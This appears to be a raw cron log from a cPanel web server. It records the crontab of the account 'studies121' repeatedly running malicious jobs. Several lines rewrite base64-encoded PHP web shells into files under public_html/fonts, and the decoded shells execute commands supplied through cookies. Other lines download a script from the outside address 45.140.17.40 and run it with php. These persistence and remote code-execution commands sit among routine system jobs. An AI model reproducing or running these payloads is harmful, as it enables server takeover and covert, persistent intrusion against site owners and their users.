Sep 11 08:45:01 ip-184-168-122-23 CROND[1936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:45:01 ip-184-168-122-23 CROND[1938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:45:01 ip-184-168-122-23 CROND[1939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:45:01 ip-184-168-122-23 CROND[1941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:45:01 ip-184-168-122-23 CROND[1943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2154]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2159]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:46:01 ip-184-168-122-23 CROND[2156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:46:01 ip-184-168-122-23 CROND[2161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:47:01 ip-184-168-122-23 CROND[2255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:47:01 ip-184-168-122-23 CROND[2258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:47:01 ip-184-168-122-23 CROND[2256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:47:01 ip-184-168-122-23 CROND[2257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:48:01 ip-184-168-122-23 CROND[2364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:48:01 ip-184-168-122-23 CROND[2365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:48:01 ip-184-168-122-23 CROND[2368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:48:01 ip-184-168-122-23 CROND[2369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:48:01 ip-184-168-122-23 CROND[2370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:49:01 ip-184-168-122-23 CROND[2450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:49:01 ip-184-168-122-23 CROND[2452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:49:01 ip-184-168-122-23 CROND[2453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:49:01 ip-184-168-122-23 CROND[2454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:50:01 ip-184-168-122-23 CROND[2547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:50:01 ip-184-168-122-23 CROND[2550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:50:01 ip-184-168-122-23 CROND[2553]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:51:01 ip-184-168-122-23 CROND[2736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:51:01 ip-184-168-122-23 CROND[2738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:51:01 ip-184-168-122-23 CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:51:01 ip-184-168-122-23 CROND[2740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:52:01 ip-184-168-122-23 CROND[2878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:52:01 ip-184-168-122-23 CROND[2881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:52:01 ip-184-168-122-23 CROND[2880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:52:01 ip-184-168-122-23 CROND[2882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:52:01 ip-184-168-122-23 CROND[2883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:53:01 ip-184-168-122-23 CROND[2988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:53:01 ip-184-168-122-23 CROND[2992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:53:01 ip-184-168-122-23 CROND[2990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:53:01 ip-184-168-122-23 CROND[2991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:54:01 ip-184-168-122-23 CROND[3070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:54:01 ip-184-168-122-23 CROND[3073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:54:01 ip-184-168-122-23 CROND[3072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:54:01 ip-184-168-122-23 CROND[3075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:54:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:55:01 ip-184-168-122-23 CROND[3210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:56:01 ip-184-168-122-23 CROND[3305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:56:01 ip-184-168-122-23 CROND[3307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:56:01 ip-184-168-122-23 CROND[3309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:56:01 ip-184-168-122-23 CROND[3308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:56:01 ip-184-168-122-23 CROND[3310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:57:01 ip-184-168-122-23 CROND[3480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
